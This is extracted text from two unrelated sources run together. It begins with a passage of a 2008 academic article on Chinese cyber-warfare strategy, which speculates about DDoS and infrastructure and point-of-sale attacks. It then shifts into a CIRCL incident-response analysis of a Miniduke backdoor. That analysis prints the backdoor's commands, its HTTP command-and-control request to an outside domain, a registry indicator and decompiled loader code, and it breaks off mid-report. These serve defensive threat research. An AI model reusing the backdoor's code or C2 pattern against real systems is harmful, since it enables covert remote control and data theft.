Additional complaints against the CoS include the removal of leaked Scientology belief documents (part of a 10-year legal battle against Karin Spaink and several ISPs), and the attempted removal of the newsgroup alt.religion.scientology from Usenet, which led the hacker group Cult of the Dead Cow to declare war on the Church of Scientology as early as 1995.
Anonymouss stated intent was to expel the church from the internet and to save people from Scientology by reversing the brainwashing.
This was followed by DDoS attacks, black faxes, prank calls, false deliveries to CoS buildings, the dissemination of Church leaders personal information (telephone numbers, social security numbers, and addresses), and the publishing of the contended leaked material on a wide range of websites.
Project Chanology members grew to approximately 9,000 people.
They successfully took down the Scientology website on January 18, 2008 with a mid-range DDoS attack.
By comparison a botnet can launch a simultaneous attack from 50,000 computers.
Nonetheless, Anonymous managed to cripple the Scientology website for a period of two weeks.
In response to the attacks, the CoS moved its internet domain to a more secure provider.
The original declaration of war video, which utilized a synthesized voice, was viewed over two million times within 18 days of its release.
Project Chanology garnered mainstream media coverage on an international scale.
Mainstream medias attention created an unintended DDoS attack by drawing more attention to the CoS website.
Anonymous further raised questions about Scientologys actions, including the death of Lisa McPherson, a scientologist who died in 1995, for which the CoS was previously under federal investigation.
Anonymous used a Google bomb technique to make the Scientology.org website the first result in a Google search for dangerous cult (McMillan 2008 OConnell 2008 Vamosi 2008 Cook 2008 Single 2008 Ramadge 2008 The Passion of Anonymous 2008).
Utilizing a wide range of online communication tools, and a new YouTube video titled Call to Action, Anonymous coordinated a series of protests.
In the video anon states: We have no leaders, no single entity directing us.
On February 10, 2008, approximately 7,000 people protested throughout 100 cities in 14 countries.
Protesters wore Guy Fawkes masks from the V for Vendetta film, and made Rick Astleys pop single Never Gonna Give You Up, a theme song for the protests against Scientology.
The seemingly bizarre and childish behaviour of Anonymous is a part of their cohesion, a subculture of memes, slang, and humour.
A second series of protests began on March 15, 2008, with approximately 7,000 to 8,000 protestors throughout 100 cities in 10 countries.
CoS has not released an official estimate of the financial damage caused by Project Chanology.
However, they have publicly stated that they were forced to increase online security, hired off-duty police officers to provide physical security at their churches, and have suffered increasing negative press and scrutiny from the US Federal Bureau of Investigation.
CoS has denounced Anonymous as cyber terrorists and Anonymous has since switched its campaign to go after Scientologys tax-exempt status.
China could use online operatives to incite this type of internet based mob.
It could be used constructively within China, such as undermining the Falun Gong, or destructively against an enemy country, such as inciting protests against pro-democracy Taiwanese leadership.
Culture Mandala, Vol.
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1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 64 Additionally, these online communities pose a security threat, and should therefore be examined if only as a means of deterrence.
As mentioned in IO, this sort of emergent mob is not one that can be quickly understood.
To be used as a military tool, China would need a deep understanding of the assets culture.
In the case of Anonymous, this equates to a heavy reliance on inside jokes, slang, internet and pop culture.
Anonymous uses humour to unite and to obfuscate logic and responsibility.
Credence within the group may come from inside jokes and creativity, rather than sound information  they even revel in their own failure.
Internet communities can lack a centre of command, and be composed of serious, moderate, and casual participants, all of whom may change their level of participation on a whim.
5.
Assassins Mace Assassins Mace, or shashoujian, is used in Chinese military writings to describe a weapon or tactic which can deliver decisive blows in carefully calculated surprise moves and change the balance of power (Johnston 2002).
Similar concepts can be seen throughout Chinas history, from Sun Zis (tr.
1963) The Art of War to Mao Zedongs (tr.
2000) On Guerrilla Warfare.
An assassins mace gains strength by ignoring pre-established rules of conduct.
It has many similarities to asymmetric warfare, such as being a novel way to level the playing field, but it differs in that it is a decisive weapon, aimed at incapacitating an enemy, suddenly and totally (Navrozov 2005).
China possesses several asymmetric, highly devastating weapons, such as a limited but modernising nuclear weapons capacity, Chinas ASAT capability, and its electromagnetic pulse (EMP) capability.
However each of these has considerable drawbacks.
For example, human rights and environmental concerns have relegated nuclear weapons to the role of deterrent and introduced limited warfare.
By using cyber warfare, China could achieve the same asymmetric destructive power while bypassing the drawbacks.
It is unlikely that China would use kinetic kill weaponry, such as its direct ascent ASAT, in an attempt to disrupt US space based assets.
To disrupt US satellite dominance would require a massive sky clearing operation, because the US has constellations of satellites with multiple redundancy.
The US GPS provides tactical communication and precision navigation, making it a desirable target  however, the GPS uses at least five space satellite constellations.
When one is destroyed, others can be manoeuvred to fill holes in the net.
Not all of these satellites are within striking range at any given time.
This means a sky clearing operation would take a significant amount of time, thereby revealing Beijings intentions.
This would cause international dispute due to space debris, and allow the US to manoeuvre its other satellites out of harms way.
It would risk retaliation in which China would be at a disadvantage.
Additionally, there is no guarantee an attempt would be successful, as each launch requires precise targeting, and Chinas ASAT has only been tested once.
It is more likely China would attempt to knock out the corresponding relay stations on Earth by using a cyber attack.
Chinese tacticians have focused on neutralising the uplinks and downlinks of the space-based systems through diverse forms of cyber attack including simple DoS attack.
This gives the advantages of deniability and low cost.
It would remove distance from the equation, allowing multiple targets to be taken out simultaneously regardless of location, and it would remove international condemnation and/or involvement (Waterman 2008 Tellis 2007 International Assessment and Strategy Center 2005).
China could destroy a vast majority of US electronics, including computers, cars, phones, and the power grid, using EMP weaponry.
This is something of which all nuclear armed states Culture Mandala, Vol.
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1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 65 are capable by means of high altitude nuclear explosions, taking as few as three to blanket the continental US (Electromagnetic Pulse 2005).
Open source materials have shown the US, China, France, and Russia all using an EMP burst as a surprise first strike in war games (Chinas Proliferation Practices, and the Development of Its Cyber and Space Warfare Capabilities 2008 Winn 2008 Nock and Lizun 2007 Qian and Wang 1999).
However, it is unlikely China would use such brute-force tactics.
Using a high altitude atomic burst would cause international outrage as it violates an international treaty, it damages the environment, and it indiscriminately disrupts everything in its blast radius.
Alternatively, shutting down the US power grid, production lines, water utilities, chemical plants, telecommunications, and transportation routes is possible through cyber attack, and it would provide the benefit of deniability.
Details on how such an attack would be conducted are scarce in OSINT as governments do not wish to publicize their weaknesses or give away their assets.
It is important however that they do acknowledge them, since any computer system which is connected to the internet is vulnerable to attack.
In 2008, the CIA reported that multiple cities outside the US had their electrical power shut off by hackers.
The reports were vague, supposedly due to security concerns however it was reported that the attacks came from online, through the internet, not by physical means (Bridis 2008 McMillan 2008).
Weapons of Mass Disruption OSINT continually points to cyber warfare being capable of crippling a states electric power transmission, transportation systems, and communications systems (Phone Phreaking 2008 Weber 2008 Trahan 2008 McMillan 2007 Tkacik 2007 Reid 2007 Robson 2004 Miklaszewski 1999).
If the Russian government was behind the cyber attacks on Estonia, it did not use such a dramatic assault.
The Russians may simply have been testing their cyber warfare capabilities, saving their most devastating capability for when it is needed most, as it may only work once.
Such an attack would cripple the flow of goods, effectively starving the population and shutting down business.
Evidence that such a possibility exists can be seen across the globe.
In 1997, a teenager shut down air and ground communication at a US airport in Massachusetts, and in 2000, the Russian government announced that hackers had succeeded in taking control of the worlds largest natural gas pipeline network, Gazprom, by using a type of Trojan.
In 2000, Vitek Boden took control of a sewage pumping station in Australia.
He remotely triggered the release of a million litres of sewage into public waterways (Barker 2002).
Computers and manuals seized in Al Qaeda training camps contained large amounts of SCADA information related to dams and critical infrastructure.
In 2003, the Slammer Worm took a US nuclear power plants safety monitoring system offline, and the Blaster Worm was connected with a massive blackout in the Eastern US (Maynor and Graham 2006).
The United States is particularly vulnerable as much of the communication, manufacturing, water, transportation, and energy infrastructure is owned by the private sector, as opposed to China and Russia where infrastructure is predominantly in the hands of the government (Greenemeier 2007).
The relative ease with which the Titan Rain attacks were conducted make private sector computer networks look like an easy target (Almeida 2006).
The government and defence installations are heavily funded for security, whereas the private sector is not.
Initially the US power grid control systems were on closed networks (not connected to the internet).
However, over time companies began deciding it was too costly to maintain separate networks.
The internet became essential for operations, meaning they would need two separate systems for operation, one connected and one not.
Through the decision-making process companies decided it was cheaper to have only the one that was Culture Mandala, Vol.
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1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 66 connected, but focus on keeping it secure.
Over time security became lax, and no network that is connected can be entirely secure.
Many of these systems do not support authentication, encryption, or basic validation protocols of those that do support them, most run with security features disabled (Maynor and Graham 2006).
In addition to the internet, SCADA systems may be compromised through outdated modems used for maintenance purposes, wireless access points, or roaming notebooks.
Further, power companies may buy and trade power amongst themselves, so loopholes designed to check available capacity have provided another entry point (Winkler 2007).
The vulnerability of the private sectors computer network, due to a lack of understanding or a lack of incentive, provides China (or other cyber-capable groups) with the opportunity to cripple US infrastructure.
Point of Sale Using a modern fuel service station as a parallel for a cyber attack on commercial infrastructure, one can see the debilitating effects of a cyber attack.
Magnetic stripe cards have replaced tangible notes as the primary method of payment.
By overwhelming a bank through something as simple as a DDoS attack, an adversary could knock the point of sale banking system offline.
Few service stations are equipped to handle this for duration longer than one day, and the Estonian attacks demonstrated a month-long capability.
Lines in the store would grow as the speed of transactions dramatically slowed.
Nearby ATMs would be taxed as people begin withdrawing more notes.
As the ATM runs out of its supply of money, an internal alert is sent to notify the ATM provider to send an armoured car to restock the machine.
This would require additional workflow, disrupting a fine tuned system of allocated staff hours and drivers.
The long lines at the register would disrupt the productivity and efficiency of working customers who are unaccustomed to the long wait, and it would radiate frustration and anger throughout the community.
As the service line grows and employees struggle to keep up, the amount of store theft (fuel and merchandise) increases.
More hours would be allocated to review surveillance footage, and the local police would be inundated with cases of theft.
Panic may ensue, as seen with small disruptions at service stations, comparable to the temporary collapse of Optus telecommunications or the temporary collapse of Westpac banking (Streem 2008).
A sustained disruption could lead to mob mentality.
The fragility of social order was demonstrated in 2008 when fuel price increases led to widespread violent protests across the globe, including Argentina, Belgium, France, India, Indonesia, Malaysia, Portugal, South Korea, Spain, Thailand, and the UK (Arrests Following Jakarta Fuel Price Increases 2008 Banerjee and Zappei 2008 Cowell 2008 Fuel Demo Adds To Road Taxes Row 2008 Indonesia: Growing Fuel Price Protests Meet Repression 2008 Thai Truckers Join Global Fuel Price Protest 2008).
Alternatively, the registers themselves are operated by using the internet and could be targeted.
China could bypass banking systems, energy providers, transportation systems, or communications systems and go after the less guarded, and less funded, point-of-sale software.
Few service stations remain in the western world that use unconnected registers, as it would be difficult to remain competitive.
Similarly, there are few competitors in the service station industry due to strong competition.
This means there are only a small group of service station vendors within a large city, and all of the computers within those companies are running off of the same network.
The six largest non-state owned energy companies, known as super majors, are: Exxon Mobil, Royal Dutch Shell, BP, Chevron Corporation, ConocoPhillips, and Total SA.
These six companies control the vast majority of service Culture Mandala, Vol.
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This is sometimes obscured by the use of alternative store names, despite being contracted to a supermajor, or the continued use of an old company name despite having been bought out by a supermajor.
This illustrates a lack of diversity in the retail industry.
By attacking only a few targets, an entire citys service stations could be knocked offline.
There are a limited number of independent operators within a typical city however their numbers are too few to facilitate the influx of customers from the larger competitors.
Without the online register, PLUs (price look-up codes) cannot scan and prices would have to be manually added.
Any extended duration of this process could shutdown a store, and depending on the system, fuel may not be able to be dispensed without the computer.
Service stations are not known for their sophistication in computer defence as they routinely tighten budgets to their limits and they have not seen a need to harden this infrastructure.
As community hostility rises, employees may resign due to stress.
It would be difficult training new employees during this time with extended lines and the employees themselves suffering an inability to access fuel.
New staff would also cause lost time and money for training.
All delivery trucks create online invoices sent and received by the service station.
Assuming they are able to maintain the fuel for their trucks, they would be forced to adapt to old methods of interaction and record keeping.
A stores stock might also suffer shortages from hoarding of products due to panic in the community.
These systems could be attacked solely online, or operatives could be placed into the store to learn the systems weaknesses and install malware directly.
Operations could be expanded beyond a service station to attack grocery and a wide range of retail outlets.
Rather than going after the transport of goods, it may be easier to disrupt them online at their point of sale.
The effects would radiate outward, knocking down additional infrastructure unable to handle the increased stress.
A service station is only one example of weak commercial infrastructure that relies on computers to operate.
If China could gain market dominance in the point of sale software industry, or in the registers used for sales, it would gain an even greater access to disruption.
This disruption could be used as a deterrent, as blackmail, or as a force multiplier in traditional warfare.
Market Dominance China may seek to establish market dominance in the production of ICT software and hardware as a means of increasing its cyber warfare capability.
On an infrastructure level, China could seek to control ownership of submarine cable infrastructure allowing it further access to cyber reconnaissance or the option of shutting down portions of internet connectivity during times of war (Whitney 2008 Of Cables and Conspiracies 2008).
Further, if China could unseat Microsoft as the industry standard in software, it could install backdoors, latent viruses, or remotely triggered ex-filtration devices.
This type of tactic was examined in section 3, above (Cyber Reconnaissance and Attack), with Sony BMGs use of rootkits.
China used legal and financial prowess to convince Microsoft to teach its software engineers how to insert their own software into Windows applications.
As a part of the Chinese argument for doing so, was an insistence that Microsoft Windows was a secret tool of the US government.
By providing China with skeleton keys to the Windows Operating System, inadvertently China was given advanced knowledge on how to infiltrate foreign computers and craft advanced exploits (Marsal 2008 Tkacik 2007).
Culture Mandala, Vol.
8, No.
1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 68 US concerns over Chinese market dominance have begun to surface.
In 2006, the State Department banned the purchase of computers from the Lenovo Group, the Chinese firm that acquired the IBM personal computing division, following penetrations using a zero-day flaw in Microsoft software.
China is also growing in the field of microchips, something other states need for defence related electronics.
Not only could China embed exploits, but also dominance in this field gives it access to critical individuals and information through partnership, such as a chance to liaise with industry insiders, come close to sensitive information and hardware, and conduct social engineering or HUMINT.
In 2003, the Huawei Shenzhen Technology Company was charged with stealing secrets and wholesale pirating of Cisco software, a US company.
In 2007, Huawei then attempted to buy 3Com, a US company which supplies the US government with security software, routers, and servers.
India turned down a 60 million Huawei investment deal in 2005 after concerns over cyber reconnaissance, noting that Huawei is the same company that conducts sweeping and debugging of the Chinese embassy.
Indias Defence Ministry stated the choice was between cheap Chinese equipment and national security (Tkacik 2007).
China consistently reverse engineers ICT hardware and software in an attempt to maintain a stronghold on its own markets.
This can be seen with the reverse engineering of Skype Protocol and Voice over Internet Protocol (VoIP), and knock offs of the iPhone (VoIP WkiBlog 2006).
The One Laptop Per Child (OLPC) project, which has the potential to rapidly spread internet connectivity to Chinas remaining population, uses an open source operating system and software, helping to free China from US owned Microsoft.
Yet China has denounced the sale of OLPC, promoting instead various domestic versions that were reversed engineered from the OLPC model.
Further, the Chinese have secured manufacturing rights to produce OLPC within China even though they do not intend to promote OLPC sales domestically (OBrien 2008).
China also has a history of reverse engineering websites that become popular and profitable in the Western world examples include clones of YouTube, Google, MySpace, Facebook, Wikipedia, and eBay being YoQoo, Baidu, Baidu Space, Xiaonei/Zhanzuo, Baidu Baike/Hoodong, and Taobao respectively (Marshall 2008 Wei 2008 Burns 2006).
Peacetime Operations During peacetime, China is likely to rely on cyber reconnaissance to gather information and catalogue exploits/weaknesses in the US military and infrastructure.
Automobile companies, food services, oil companies, financial institutions, and telecommunications all play a vital role in supporting military operations, as well as housing technological advances, expertise, and inside information which could prove useful for leapfrogging (Winkler 2005).
Technology transfer allows China to skip years of costly research and development, and it removes the competitive edge of foreign militaries and companies (Tkacik 2007).
In unrestricted fashion, China may also seek advantage during peacetime to battle military export restrictions of the EU, purchase vital capital in the US financial system, and help shape the international legal structure being developed for cyber warfare.
Cyber reconnaissance against US military logistics networks could reveal force deployment information, such as the names of ships deployed, readiness status of various units, timing and destination of deployments, and rendezvous schedules.
It could also reveal the details of weaponry sold to Taiwan.
China has repeatedly shown interest in the US Unclassified but Sensitive Internet Protocol Router Network (NIPRNet) (Chinas Proliferation Practices, and the Development of Its Culture Mandala, Vol.
8, No.
1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 69 Cyber and Space Warfare Capabilities 2008).
NIPRNet is used to exchange unclassified but sensitive information between internal users.
The network is connected to the broader internet to improve collaboration between scientists and officers located in different organizations and in remote locations.
This means it can provide intruders with data such as ballistic weapons research, aircraft and ship design, military payroll, personnel records, procurement, modelling of battlefield environments, and computer security research (Lewis 1994).
The US places classified military information on the Secret Internet Protocol Router Network (SIPRNet) and secret information on the Joint Worldwide Intelligence Communications System (JWICS).
While these networks are not connected to the internet, examining NIPRNet may give insight into the contents through cross talk, or it may provide a means of escalating privileges, providing information on how to access SIPRNet and JWICS either directly or indirectly via an asset.
Taiwan China can use the internet to manipulate the Taiwanese populace, either to set up for an attack, or to undermine Taiwan independence peacefully and avoid conflict altogether.
This may include PSYOPS/propaganda, recruitment and identification of sympathizers, or cataloguing of cyber and defence weaknesses.
For example, an internet rumour in 1999 that a Chinese Su-27 had shot down a Taiwan aircraft caused the Taipei stock market to drop more than two percent in less than four hours.
An earthquake in 1999 and a typhoon in 2001 revealed weaknesses in Taiwans telecommunications, electric power, and transportation infrastructure weaknesses which could be targeted in physical sabotage.
Further, a landslide revealed that the loss of a single power grid tower is capable of knocking out 90 percent of the power grid in the central mountainous region.
Building information, including the location of the Presidents office, and daily activities, are openly available on the internet.
This is even more significant given the lack of security present during the 2004 assassination attempt on President Chen Shui-bian and Vice President Annette Lu (Chinas Proliferation Practices, and the Development of Its Cyber and Space Warfare Capabilities 2008 Taiwan Assassin 2004).
In the event of a Taiwan conflict, China could use cyber attacks to delay US involvement long enough for Taiwan to capitulate.
For example, China could go after the US logistical apparatus, using information gained via NIPRNet, in order to delay the force deployment phase.
This would include the organization of forces, food supplies, uniforms, and/or communication which are often organised through networks that are connected to the internet.
Cyber attack could also delay re-supply to the region by misdirecting stores, fuel, and munitions, corrupting or deleting inventory files, and thereby hindering mission capability.
If the Chinese lack the capability to find exploits in NIPRNet, they could simply conduct DDoS attacks to bring it down long enough for a Taiwanese surrender.
While delaying the US, China could use traditional military forces in concert with cyber warfare against Taiwan.
The cyber warfare component could include online PSYOPS, media warfare, special forces aided by cyber reconnaissance information, and cyber attacks against Taiwans point of sale and banking infrastructure.
6.
Conclusion This research has shown that China seeks to leapfrog in military competitiveness by utilizing cyber warfare.
Chinese military doctrine places an emphasis on asymmetric attack.
Cyber Culture Mandala, Vol.
8, No.
1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 70 warfare epitomizes this a low cost means of levelling the playing field.
Cyber attack strikes at a superior adversarys weakness  in the case of the US, a heavy reliance on hi-tech computerized weaponry and a civilian population reliant on an unsecured computer infrastructure.
Cyber reconnaissance follows Chinas tradition of technology transfer and reverse engineering for domestic production as a means of leapfrogging.
Cyber reconnaissance gives the added benefit of providing deniability, low cost, a lack of legal framework against it, and the removal of geographical distance.
Foreign allegations, such as the Titan Rain incursions, suggest China is making rapid progress in cyber reconnaissance and attack capabilities.
The PRC openly states in its National Defense White Paper that it is seeking informationization and modernization of the PLA.
This follows the US, Chinas perceived greatest threat, in its pursuit of NCW, IO, and FCS.
Cataloguing adversary weaknesses not only provides an asymmetric advantage in the event of a conflict, it also acts as a deterrent while China catches up in traditional military might.
By utilizing cyber reconnaissance, China can accelerate its advancement in hi-tech weaponry.
Unrestricted warfare has shown a blurring of the lines between military and non-military spheres.
China can tap into the power of its online population for military purposes, such as seen in the Estonian, Georgian and Chanology case studies.
Following the US example of IO, China can leverage the internet as a means of boosting soft power.
Using cyber reconnaissance, the Chinese can gain market dominance in the fields of ICT.
This will provide increased cyber security, by removing foreign influence, and it will provide improved cyber offence, such as pre-installed exploits or ownership of internet infrastructure.
Market dominance also relates to financial gain, which China has stated is intrinsically related to military capabilities and strategic interests.
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Analysis Report (TLP:WHITE) Analysis of a stage 3 Miniduke sample Conducted by CIRCL - Computer Incident Response Center Luxembourg May 30, 2013, with an update on Jul 03, 2014 CIRCL - Computer Incident Response Center Luxembourg July 3, 2014CIRCL - Computer Incident Response Center Luxembourg July 3, 2014CIRCL - Computer Incident Response Center Luxembourg July 3, 2014 Contents 1 Scope of work 3 2 Analyzed samples 3 2.1 Limitations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4 2.2 Sharing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4 3 Executive summary 4 4 Analysis 4 4.1 Summary .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4 4.2 Techniques used .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4 4.3 Implemented commands .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4 4.4 Control . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5 4.5 IOC . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5 4.5.1 Network . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5 4.5.2 Registry . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6 4.6 Persistency . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6 4.7 Execution process .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6 5 Interesting code parts 8 5.1 Init phase of Sample B . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8 5.2 Decrypt and setup registry keys .
. . . . . . . . . . . . . . . . . . . . . . . . . . .
8 5.3 evaluate commands (extract) and error handling .
. . . . . . . . . . . . . . . . .
9 5.4 Internet connect .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9 5.5 Create process calls . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10 6 Related indicators information 10 6.1 Network infrastructure . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10 Page 2 of 12 CIRCL - Computer Incident Response Center Luxembourg c/o smile - security made in Ltzebuerg GIE 41, avenue de la gare, L-1611 Luxembourg (352) 247 88444 - infocircl.lu  www.circl.lu CIRCL - Computer Incident Response Center Luxembourg July 3, 2014CIRCL - Computer Incident Response Center Luxembourg July 3, 2014CIRCL - Computer Incident Response Center Luxembourg July 3, 2014 1 Scope of work In the scope of targeted attacks with a malware labeled as Miniduke by Kaspersky Labs, CIRCL was interested in the way the malwares later stages work and what kind of interesting information they reveal (e.g.
techniques, style, IOCs) .
No public analysis was found except the mention in Kasperskys report of a custom backdoor, so CIRCL took one of the known samples and started this analysis.
2 Analyzed samples Sample A - Stage 3 sample from Kaspersky reports Description Hash found in Kaspersky Lab report 1 Original filename v1.ex_ Hashes MD5: 1e1b0d16a16cf5c7f3a7c053ce78f515 SHA1: de8e9def2553f4d211cc0b34a3972d9814f156aa SHA-256: a1015f0b99106ae2852d740f366e15c1d5c711f57680a2f04be0283e8310f69e Filesize 333824 Bytes (326KB) Compile time Mon Jun 18 16:28:11 2012 Sample B - Derrived from Sample A Description Dumped memory region 0x0D060169 to 0x0d08b000 after de-obfuscation and UCL decompression 2 Original filename Extracted from memory, no filename Hashes MD5: 1a2edd2db71fd41e963011da8caf26cc SHA1: f344becb220de6ffa4d7223bdb82146d3b1c93ed SHA-256: b61d409b6c1066e0c1fc4fe15f6f367be31fa2cc555cfc0ef7eeb8e5759380c0 Filesize 175767 Bytes (172KB) Compile time Mon Mar 5 14:17:08 2012 1http://www.securelist.com/en/downloads/vlpdfs/themysteryofthepdf0-dayassemblermicrobackdoor.
pdf 2http://www.oberhumer.com/opensource/ucl/ Page 3 of 12 CIRCL - Computer Incident Response Center Luxembourg c/o smile - security made in Ltzebuerg GIE 41, avenue de la gare, L-1611 Luxembourg (352) 247 88444 - infocircl.lu  www.circl.lu http://www.securelist.com/en/downloads/vlpdfs/themysteryofthepdf0-dayassemblermicrobackdoor.pdf http://www.securelist.com/en/downloads/vlpdfs/themysteryofthepdf0-dayassemblermicrobackdoor.pdf http://www.oberhumer.com/opensource/ucl/ CIRCL - Computer Incident Response Center Luxembourg July 3, 2014CIRCL - Computer Incident Response Center Luxembourg July 3, 2014CIRCL - Computer Incident Response Center Luxembourg July 3, 2014 2.1 Limitations This work has been done with utmost care, following best practices in software reversing, forensic investigations and/or information gathering.
However, the work is only covering small aspects (based on the indicators given, lacking full context) and not an exhaustive analysis, and hence the report is as-is, not giving any guarantees of completeness or claiming absolute accuracy.
2.2 Sharing The document is classified as TLP:WHITE, therefore CIRCL encourages everyone to share this analysis report as-is without modification.
3 Executive summary Sample B, contained in Sample A, can be categorized as an exhaustive backdoor, implementing any kind of functionality that can be expected for this kind of attacks.
Despite the fact that it doesnt implement any particular fancy or new technique, the code quality appears to be clean and robust, making rich use of C structures and logging and it shows on some places that it is targeting organizational infrastructures rather than home users.
4 Analysis 4.1 Summary Sample A can be categorized as a container, obfuscating and compressing the real payload.
Sample A has been debugged until Sample Bs decompression finished.
The memory segment was dumped to disk for further analysis.
The focus of the analysis then shifted to Sample B.
Sample B is identified to be a HTTP controlled backdoor, enabling the attacker to take full control over the victim computer.
4.2 Techniques used The analysis has been done using a mixed-approach of dynamic analysis and static analysis in order to overcome some of the obfuscation and encryptions used by the malware.
Some of the techniques might have also an impact on the interpretation of the malware.
Unfortunately, when we started this investigation, the domain is now pointing to an IP address of Google and returning a 404 Not Found page only.
An interaction following the protocol of this malware is therefore no longer possible.
4.3 Implemented commands The analysis of Sample B revealed the commands as shown in table 1 Page 4 of 12 CIRCL - Computer Incident Response Center Luxembourg c/o smile - security made in Ltzebuerg GIE 41, avenue de la gare, L-1611 Luxembourg (352) 247 88444 - infocircl.lu  www.circl.lu CIRCL - Computer Incident Response Center Luxembourg July 3, 2014CIRCL - Computer Incident Response Center Luxembourg July 3, 2014CIRCL - Computer Incident Response Center Luxembourg July 3, 2014 Table 1: Implemented commands mv move a file cp copy a file rm delete a file pwd get current directory cd change current directory rmdir delete directory mkdir create directory pskill/kill kill a process exew execute command conf show backdoor configuration cdt change to temp directory dev get a list of device drives time get uptime of machine info get path to the backdoor, computer name, username, process information exit exit dir/ls get the content of a directory exec execute command interactively exeu execute command interactively as specified domain user put upload a file get download a file pslist/ps get a list of running processes 4.4 Control The attacker controls the remote computer via HTTP GET and POST requests like the following: 1  http : //news .
grouptumbler .com/news/ feed .
php?
iMe3tMZEHAuvkcuJsOW7lX1vSsgkuW99vD3FRgi The request is encoded in a custom BASE64 encoding, using the following alphabet: 1  ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 4.5 IOC 4.5.1 Network The malware connects via HTTP GET and POST requests to 1  http : //news .
grouptumbler .com/ and the path is fixed: 1  /news/ feed .
php?
i The variable part is the custom BASE64 encoded string corresponding to i.
A full request looks like: 1  http : //news .
grouptumbler .com/news/ feed .
php?
iCustom BASE64 The user agent is always Page 5 of 12 CIRCL - Computer Incident Response Center Luxembourg c/o smile - security made in Ltzebuerg GIE 41, avenue de la gare, L-1611 Luxembourg (352) 247 88444 - infocircl.lu  www.circl.lu CIRCL - Computer Incident Response Center Luxembourg July 3, 2014CIRCL - Computer Incident Response Center Luxembourg July 3, 2014CIRCL - Computer Incident Response Center Luxembourg July 3, 2014 1  Mozil la /4.0 Sent accept headers are: 1  Accept : / 4.5.2 Registry The malware creates in 1  HKCU\Software\Microsoft\ApplicationManager a value AppID with the data it calculates from GetTickcount(), used as an identifier/mutex.
4.6 Persistency No persistency mechanisms have been identified.
We assume the file is only dropped and/or executed on request via stage 2 of Miniduke and not running persistently.
4.7 Execution process ..Sample A. UCL decompression .
Sample B .
Sample B execution Update on Jul 03 2014: F-Secure released an analysis3 of the latest MiniDuke evolution, called CosmicDuke, mentioning similar loaders in old and new samples.
Thats why we updated this document to include a graph of the loader: 3http://www.f-secure.com/static/doc/labs_global/Whitepapers/cosmicduke_whitepaper.pdf Page 6 of 12 CIRCL - Computer Incident Response Center Luxembourg c/o smile - security made in Ltzebuerg GIE 41, avenue de la gare, L-1611 Luxembourg (352) 247 88444 - infocircl.lu  www.circl.lu http://www.f-secure.com/static/doc/labs_global/Whitepapers/cosmicduke_whitepaper.pdf CIRCL - Computer Incident Response Center Luxembourg July 3, 2014CIRCL - Computer Incident Response Center Luxembourg July 3, 2014CIRCL - Computer Incident Response Center Luxembourg July 3, 2014 Page 7 of 12 CIRCL - Computer Incident Response Center Luxembourg c/o smile - security made in Ltzebuerg GIE 41, avenue de la gare, L-1611 Luxembourg (352) 247 88444 - infocircl.lu  www.circl.lu CIRCL - Computer Incident Response Center Luxembourg July 3, 2014CIRCL - Computer Incident Response Center Luxembourg July 3, 2014CIRCL - Computer Incident Response Center Luxembourg July 3, 2014 5 Interesting code parts 5.1 Init phase of Sample B Decryption of module and function names 1 int decode_functions_and_start_internet_loop () 2 3 wininet .
d l l  decrypt_string(enc_wininet_dll ) 4 hModule  LoadLibraryA(wininet .
d l l ) 5 i f ( hModule ) 6 7 lpProcName  decrypt_string(enc_InternetOpenA) 8 InternetOpenA  GetProcAddress (hModule , lpProcName) 9 lpProcName  decrypt_string ( enc_InternetConnectA) 10 InternetConnectA  GetProcAddress (hModule , lpProcName) 11 lpProcName  decrypt_string(enc_InternetSetOptionA ) 12 InternetSetOptionA  GetProcAddress (hModule , lpProcName) 13 lpProcName  decrypt_string(enc_HttpOpenRequestA) 14 HttpOpenRequestA  GetProcAddress (hModule , lpProcName) 15 lpProcName  decrypt_string(enc_HttpSendRequestA) 16 HttpSendRequestA  GetProcAddress (hModule , lpProcName) 17 lpProcName  decrypt_string(enc_HttpQueryInfoA) 18 HttpQueryInfoA  GetProcAddress (hModule , lpProcName) 19 lpProcName  decrypt_string(enc_InternetReadFile ) 20 InternetReadFile  GetProcAddress (hModule , lpProcName) 21 lpProcName  decrypt_string(enc_InternetCloseHandle ) 22 InternetCloseHandle  GetProcAddress (hModule , lpProcName) 23 port  parse_int ( 80 ) 24 delay  parse_int ( 61 ) 25 generate_identifier_and_setup_jumptable(instance ) 26 internet_loop(instance ) 27 ExitThread (0) 28 29 return 0 30 5.2 Decrypt and setup registry keys 1 decrypt_registry_keys_and_set_id () 2 3 r e su l t  0 4 str_Software_Microsoft_ApplicationManager  decrypt_string( enc_Software_Microsoft_ApplicationManager ) 5 i f ( RegCreateKeyA(HKEY_CURRENT_USER, str_Software_Microsoft_ApplicationManager , hKey) ) 6 7 r e su l t  0 8 9 else 10 11 dwType  4 12 cbData  4 13 str_AppID  decrypt_string(enc_AppID) 14 i f ( (RegQueryValueExA(hKey , str_AppID , 0 , dwType, resu l t , cbData)   dwType 4) 15  (dwType  4 , 16 r e su l t  get_tickcount_based_value () , 17 RegSetValueExA(hKey , str_AppID , 0 , dwType, resu l t , 4u) ) ) Page 8 of 12 CIRCL - Computer Incident Response Center Luxembourg 